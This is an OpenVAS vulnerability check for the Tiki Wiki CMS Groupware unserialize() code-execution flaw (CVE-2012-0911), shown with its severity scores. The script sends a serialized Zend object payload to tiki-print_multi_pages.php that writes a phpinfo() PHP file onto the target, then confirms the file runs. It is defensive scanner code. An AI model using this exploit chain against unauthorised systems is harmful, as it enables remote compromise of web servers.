Lucene search

K
openvasCopyright (C) 2012 Greenbone AGOPENVAS:1361412562310103508
HistoryJul 09, 2012 - 12:00 a.m.

Tiki Wiki CMS Groupware 'unserialize()' Multiple PHP Code Execution Vulnerabilities

2012-07-0900:00:00
Copyright (C) 2012 Greenbone AG
plugins.openvas.org
12

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.947 High

EPSS

Percentile

99.3%

Tiki Wiki CMS Groupware is prone to multiple remote PHP code-
execution vulnerabilities.

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:tiki:tikiwiki_cms/groupware";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103508");
  script_cve_id("CVE-2012-0911");
  script_version("2024-01-23T05:05:19+0000");
  script_tag(name:"last_modification", value:"2024-01-23 05:05:19 +0000 (Tue, 23 Jan 2024)");
  script_tag(name:"creation_date", value:"2012-07-09 14:32:27 +0200 (Mon, 09 Jul 2012)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2024-01-21 02:50:00 +0000 (Sun, 21 Jan 2024)");
  script_name("Tiki Wiki CMS Groupware 'unserialize()' Multiple PHP Code Execution Vulnerabilities");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("secpod_tikiwiki_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("TikiWiki/installed");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54298");

  script_tag(name:"impact", value:"An attacker can exploit these issues to inject and execute arbitrary
  malicious PHP code in the context of the affected application. This may facilitate a compromise of the
  application and the underlying system, other attacks are also possible.");

  script_tag(name:"affected", value:"Tiki Wiki CMS Groupware 8.3 is vulnerable, other versions may also
  be affected.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for details.");

  script_tag(name:"summary", value:"Tiki Wiki CMS Groupware is prone to multiple remote PHP code-
  execution vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("url_func.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/tiki-rss_error.php";
req = http_get( item:url, port:port);
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( buf !~ "^HTTP/1\.[01] 200" && "tiki-rss_error.php" >!< buf )
  exit( 0 );

p = eregmatch( pattern:"(/[^ ]+)tiki-rss_error.php", string:buf );
if( isnull( p[1] ) )
  exit( 0 );

path = p[1];
plen = strlen( path );

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".php";

upload = path + file;
ulen = strlen( upload ) + 1;

upload = urlencode( str:upload );

host = http_host_name( port:port );

ex =
string("printpages=O%3A29%3A%22Zend_Pdf_ElementFactory_Proxy%22%3A1%3A%7Bs%3A39%3A%22%2500Zend_Pdf_ElementFactory_Proxy%2500",
       "_factory%22%3BO%3A51%3A%22Zend_Search_Lucene_Index_SegmentWriter_StreamWriter%22%3A5%3A%7Bs%3A12%3A%22%2500%2A%2500_",
       "docCount%22%3Bi%3A1%3Bs%3A8%3A%22%2500%2A%2500_name%22%3Bs%3A3%3A%22foo%22%3Bs%3A13%3A%22%2500%2A%2500_directory%22%3",
       "BO%3A47%3A%22Zend_Search_Lucene_Storage_Directory_Filesystem%22%3A1%3A%7Bs%3A11%3A%22%2500%2A%2500_dirPath%22%3Bs%3A",
       ulen,
       "%3A%22",
       upload,
       "%2500%22%3B%7Ds%3A10%3A%22%2500%2A%2500_fields%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A34",
       "%3A%22Zend_Search_Lucene_Index_FieldInfo%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22",
       "%3B%7D%7Ds%3A9%3A%22%2500%2A%2500_files%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D");

req = string( "POST ", dir, "/tiki-print_multi_pages.php HTTP/1.1\r\n",
              "Host: ", host, "\r\n",
              "Content-Length: ", strlen( ex ), "\r\n",
              "Content-Type: application/x-www-form-urlencoded\r\n",
              "Connection: close\r\n",
              "\r\n",
              ex );
http_keepalive_send_recv( port:port, data:req );

url = dir + '/' + file;
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req );

if( "<title>phpinfo()" >< buf ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.947 High

EPSS

Percentile

99.3%